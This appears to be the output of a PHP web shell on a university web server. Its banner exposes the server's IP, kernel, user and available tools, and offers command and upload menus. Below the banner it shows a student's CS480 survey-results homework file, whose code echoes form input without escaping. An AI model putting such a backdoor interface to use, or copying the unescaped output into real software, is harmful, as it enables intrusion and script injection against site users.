Server IP : 172.16.15.8 / Your IP : 3.129.67.248 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/tasantos/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // Author: Tara Santos // Title: hw8results.php // Subject: CS480 // Due Date: April 6 // Instructor: Dr. Wang // Purpose: session_start() ?> <body background="http://www.negative99.com/images/wallpaper/circuitboard_wallpaper.jpg"> <b><font size=7 color=black face=impact><center>Survey Results</b></font></center><HR> <font face=impact size=4 color=660033> <center> <?php echo "Here is what you submitted:<br><br>"; $name = $_SESSION['firstname']; echo "Name: $name<br>"; $gender1 = $_SESSION['gender']; echo "Gender: $gender1 <br>"; $grade1 = $_SESSION['grade']; echo "Grade: $grade1<br>"; $course1 = $_SESSION['course']; echo "Course: $course1<br>"; $prefer=$_POST['prefer']; $responses = array('Strongly Agree', 'Somewhat Agree', 'Disagree', 'Not Certain'); if(count($prefer) == 0) echo "<script language=Javascript> alert('Please complete the survey.'); window.location='hw8survey.php'</script>"; else { echo "<BR>1. The instructor was willing to help outside of class: <UL>"; foreach ($prefer as $item) echo "<LI>$responses[$item]</LI><br>"; } echo "</UL>"; $prefer1=$_POST['prefer1']; if(count($prefer1) == 0) echo "<script language=Javascript> alert('Please complete the survey.'); window.location='hw8survey.php'</script>"; else { echo "<BR>2. The instructor graded fairly: <UL>"; foreach ($prefer1 as $item) echo "<LI>$responses[$item]</LI><br>"; } echo "</UL>"; $prefer2=$_POST['prefer2']; if(count($prefer2) == 0) echo "<script language=Javascript> alert('Please complete the survey.'); window.location='hw8survey.php'</script>"; else { echo "<BR>3. The syllabus/assignments for this course were easy to understand: <UL>"; foreach ($prefer2 as $item) echo "<LI>$responses[$item]</LI><br>"; } echo "</UL>"; $prefer3=$_POST['prefer3']; if(count($prefer3) == 0) echo "<script language=Javascript> alert('Please complete the survey.'); window.location='hw8survey.php'</script>"; else { echo "<BR>4. There was a reasonable amount of work required for this course: <UL>"; foreach ($prefer3 as $item) echo "<LI>$responses[$item]</LI><br>"; } echo "</UL>"; $prefer4=$_POST['prefer4']; if(count($prefer4) == 0) echo "<script language=Javascript> alert('Please complete the survey.'); window.location='hw8survey.php'</script>"; else { echo "<BR>5. Overall you were satisfied with this course: <UL>"; foreach ($prefer4 as $item) echo "<LI>$responses[$item]</LI><br>"; } echo "</UL>"; $comment = $_POST['comment']; echo "<font color=black>Additional Comments:</font><br>$comment"; ?> <br><br><br> <A HREF="hw8.html">GO BACK TO FIRST PAGE</A> </center> </font> </body>